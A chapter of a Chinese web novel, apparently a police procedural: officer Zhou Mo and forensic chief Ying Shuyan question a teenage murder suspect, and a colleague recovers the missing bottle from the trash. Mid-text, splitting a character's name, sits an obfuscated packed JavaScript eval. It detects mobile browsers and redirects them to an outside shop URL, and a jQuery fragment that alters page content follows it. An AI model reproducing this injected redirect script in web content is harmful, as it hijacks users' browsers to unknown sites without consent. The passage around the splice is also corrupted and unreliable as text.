周茉和应枢言来到观察室。
小张奉命在这儿看着邵衡,见周茉居然能请动应主任出山,不由咂舌。
他指着玻璃对周茉道:“我刚来的时候,这小子把自己紧紧缩成一团,还抖个不停。可也就持续了五分钟吧,他一下子就好了,就变成现在这样了。”
周茉看向隔壁。
邵衡身体向后靠在椅背上,头微微垂着,手指在桌面上无规律地敲动。
视线里一片空茫,没有焦距,整个人仿佛陷入一种虚无的状态。
小张嘀咕:“这小子恢复得也太快了。”
“他不是恢复了,是解离了。”周茉轻声说。
小张满脸疑惑,啥玩意儿?
应枢言眉梢微挑,偏过头看周茉。
二人之间有身高差,他这个角度只能看到她浓密的睫毛微微颤动,看不清她脸上是什么样的神情。
周茉抱紧双臂,上身前倾靠近玻璃,眼睛眨也不眨地盯着邵衡。
怪不得他明明是第一次杀人,却表现得如此镇定,原来他早已找到这种错误的自我保护方式。
“周茉。”
应枢言忽然叫她,“需要我给他追加一个心理评估吗?”
周茉犹豫了下,还是摇头,“先不用。应主任,我们等一会儿再进去。”
根据她的经验,这种状态不会持续太久。
“可以。”
应枢言答应帮周茉这个忙,就不会半途而废。
他回头看了一圈面积不大的观察室。
小张机灵,立刻搬来一把椅子,“应主任您坐。”
“谢谢。”
应枢言在房间中央坦然坐了下来。
视野里一半是周茉的背影,一半是对面的邵衡。
小张左看右看,把自己往角落里缩了又缩,努力减少存在感。
黄头儿让他来盯着邵衡,他盯了。
现在周茉和应主任来了,那他是走啊,还是走啊?
又过了十几分钟。
邵衡突然抬头,眉头紧紧皱着,恢复焦距的视线四下张望,最后死死锁定在那扇门上,整个人透出一股迫切的急躁。
他不知道周茉还有多少证据没拿出来,这种悬而未决的状态让他难以忍受。
快来啊,来个人继续审我啊。
仿佛听到他心中的呼喊,咔哒一声,门把手被压下转了半圈。
邵衡眼睛眨也不眨地看着房门打开,周茉再度走进来,他甚至感到一丝隐秘的喜悦,和强烈的胜负欲。
没关系,这次他准备好了,他绝不会再露出破绽——
周茉将门又拉开了一点,侧过身子,让应枢言进来。
他个子高,进门时还稍微低了下头,因此越发显得压迫感十足。
邵衡眼中的喜悦随着应枢言出现瞬间消散。
这个陌生男人浑身上下都充满冷冰冰的精英味道。
他只是随意地扫了邵衡一眼,就让他感觉到一种从骨子里透出来的傲慢。
邵衡眼中染上浓浓的戒备,下意识坐直身体,像一头虚张声势的亚成年小兽,“你是谁?”
应枢言走到他面前,放下金属托盘,嗓音也如冽银。
“法医处主任,来给你做唾液、血液及毛发采样。”
他无视邵衡的忌惮和打量,自顾自戴好一次性乳胶手套,拿起一根棉签。
“张嘴。”
邵衡不情不愿地张开嘴巴。应枢言一手捏住他脸颊,棉签探入口腔细细刮了一圈,放入唾液收集器。
这个姿势做起来有点屈辱,邵衡被迫仰起头看他,眼角微红,闪着倔强。
应枢言不为所动,又拔下几根带着毛囊的头发,刺破他食指指尖取血。
他做这些的时候,周茉就站在边上看着。
应主任的手法真是干脆利落,再配上他的长相身材气质,简直可以夸一句赏心悦目。
可惜大多数时候他面对的“观众”都没有这个近距离观赏的机会了……
周茉在胡思乱想,落在邵衡眼中就变成了一种痴迷的欣赏。
直到应枢言取样完毕,转身离开,她仿佛还在回味着。
邵衡咳嗽一声拉回她的注意力。
“周警官,你还有什么要问的吗?”他紧盯着她,“如果你拿不出更多证据,那你就是在胡搅蛮缠。”
周茉缓慢地眨了眨眼,“你知道刚才应主任拿你的样本去做什么了吗?”
邵衡答不上来,他抿紧唇角。
“生物课上老师教过DNA吧?脱氧核糖核酸。”
周茉微微一笑,“每个人体内携带的DNA都是独一无二的,它存在于血液、唾液、头发、任何皮肤组织中。只要拿你的样本和犯罪现场留下来的那么一对比……”
邵衡,你觉得自己还能逃得掉吗?
她的态度太过自信笃定,一时间邵衡也拿不准周茉是不是在诈他。
他沉默了几秒,反问:“什么犯罪现场?周警官,你能不能把话说清楚,到底为什么叫我来这里,否则我有理由怀疑你在诱供。”
邵衡自以为找到了一面盾牌,微笑提醒她:“别忘了,我是未成年人,受法律保护的。”
周茉攥了下拳头,又立刻放开。
“好,我们明人不说暗话。你先回答我,为什么你的指纹会出现在赵庆红家?”
周茉敲着桌面提醒,“赵庆红是什么人,就不用我再告诉你了吧?”
“知道,她是我生物学上的父亲名义上的妻子。”
邵衡故意用相似的口气回答她,“没错,王明华是我爸,他趁赵庆红不在家的时候带我去过他家里,请我喝过饮料,我在那个房子里留下指纹有什么问题吗?”
“去过几次,喝过什么饮料,碰过家里什么东西?”
“好几次,不记得,忘了。”
周茉又拿出那张杏仁奶瓶照片,“那我提醒你,这瓶杏仁奶上有你的指纹,瓶盖上有针眼,里面被人掺了安眠药,是否与你有关?”
邵衡依旧一脸无辜摇头,“不知道,不清楚。”
“邵衡!”
周茉一拍桌子,像是被他气到了,“我劝你不要负隅顽抗,你知道自己是未成年人,那你知不知道主动自首,交代作案情节也算立功,可以减刑?”
她苦口婆心劝他:“你还年轻,有大好的未来,不要因为一步踏错,悔恨终生!”
见她恼羞成怒,邵衡反而放松下来。
看来她手里也就这点东西了。
邵衡垂下眼,语气恢复沉静。
“周警官,我不明白你在说什么。就算我是王明华的儿子,我也没有必要去破坏他的家庭啊。”
家庭。
周末敏锐地捕捉到了这个关键词。
“王明华为了自己的家庭,放弃了你和你妈妈。”
周茉不断试探着邵衡的底线,语气甚至有些刻薄。
“原本这十七年间相安无事,直到发生了一件事,打破了这份摇摇欲坠的平衡。”
周茉紧紧盯着邵衡的眼睛,轻轻问:“邵衡,你的家庭出了什么问题,才会让你不顾一切要毁掉另一个家庭?”
邵衡脸上瞬间褪去血色。
长久的沉默过后,邵衡哑着嗓子开口。
“除非你有新的证据,否则我什么都不会说。周警官,你还能关我多长时间?”
周茉摔门离开,整条走廊上都回荡着巨响。
她假装很生气,没走多远就平复下来,只是回到办公室的脚步有些沉重。
小张和雷星宇等人见状围上来,小心翼翼地安慰。
“周茉,你别急,这小子是块硬骨头,咱们还有时间,慢慢啃。”
“就是,这才案发第三天,我们就锁定了凶手,这个速度已经很快了,接下来就是继续找证据呗。”
这人说完大家才反应过来,是啊,才第三天而已,他们以前为了一桩案子耗上十天半个月都是常事。
甚至有些疑案、悬案,花费大量人力物力,到最后依旧一无所获,只能变成档案室内积灰的卷宗,变成压在许多老警察心上的石块。
周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538883|203706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茉明白他们的好意,可正因如此,心中越发过意不去。
她穿来第一天就跟着何冰挨家走访,几乎跑断腿,深知这个年代警察办案的不易。
她以为自己绑定了系统,有了金手指,就能大大减轻同事们的工作压力,让他们不用再像从前那么辛苦。
周茉使劲揉着太阳穴,努力回忆共感中的细节。
一定还有什么被她遗漏的关键线索……
“咦,江哥回来了。”雷星宇往门口看了一眼,惊喜喊道,“你这两天跑哪去了……哎我天,你干啥去了,身上咋这么臭啊!”
雷星宇捏住鼻子,下一秒,所有人都闻到一股门口飘来的难以言喻的馊臭味。
韩江不为所动,大步走进来,手上拎着一个装在透明袋里的玻璃瓶。
他身上还穿着昨天那件棕色夹克,下巴冒出胡茬,整个人邋里邋遢,眼神却亮得惊人,像林子里的野狼。
“周茉,你看这个,是不是和你在赵庆红家找到的瓶子一样?”
他这两天翻遍了红旗小区周围的垃圾桶和几个废品回收点,终于功夫不负有心人。
周茉猛地站起来,直勾勾盯着韩江手里的玻璃瓶。
她知道自己遗漏什么了!
这就是那天晚上邵衡从赵庆红家带走的那个玻璃瓶!
周茉语速飞快:“只要能从瓶子上同时提取到赵庆红和邵衡的指纹……”
他就再也别想狡辩。
雷星宇一把抢过证物袋飞奔出去。
“我去楼上找叶技术员!”
周茉眼中迸发出亮晶晶的狂喜,想也不想地冲上去。
“韩哥,太谢谢你——呕!”
她太激动了,结果一靠近就被他身上各种垃圾混杂的气味熏得直呕,赶紧又退了几步。
“不是,我不是,对你有意见……哕……我是真的想谢谢你……哕……”
“周茉你别哕了,你一哕我也想哕……不行了!”
一时间办公室内都是此起彼伏的干呕声,韩江“犯了众怒”被轰到走廊上,让他赶紧去后面宿舍洗干净了再回来。
等大家缓过来,后知后觉意识到——这个案子,是不是很快就要破了?
有人去追雷星宇。
“我俩今天就在三楼技术科住下了,不拿到指纹报告不回来。”
黄建海眼中也隐隐有激动之色。
一大队和二大队互相较劲儿是老传统了,目前分局最快侦破命案的记录创造者是二大队的郑望宁,用了五天。
现在周茉马上就要打破记录了。
“可以申请逮捕令了。”
何冰活动了两下脖子,“黄头儿,我去把邵秋萍带过来吧。”
……
应枢言回到办公室,顺手将金属托盘放到门边柜子上。
冉法医过来汇报工作,见状小心询问:“应老师,这些检材不用放进冰箱吗?”
“不用,做做样子而已。”
应枢言打开冉法医交上来的报告,纸张唰唰翻得飞快。
冉法医紧张握紧小拳拳,没话找话:“哈哈,下次再有这种事儿我替您去就行了……”
“你?”
应枢言动作一顿,转头瞥了他一眼,看着冉法医五大三粗的面庞,薄唇吐出冰冷言语:“你不够帅。”
冉法医:……
他是法医啊!这年头当法医也要看脸吗!
无视老徒弟满脸悲伤,应枢言仿佛只是随口讲了个冷笑话,又继续看报告。
这话可不是他说的。
周茉说的。
想起他离开审讯室时,那个少年倔强不肯服输,又带了点微妙的竞争和比较的心思,应枢言轻扯唇角。
一大队新来的小女警有点意思。
审个嫌疑人跟驯兽似的。
这时走廊上突然传来大呼小叫的喧闹声。
“哥哥姐姐们江湖救急啊!我们找到突破性证据了!”
冉法医扒门往外看了一眼,乐呵呵道:“哟,一大队这回破案速度挺快啊。”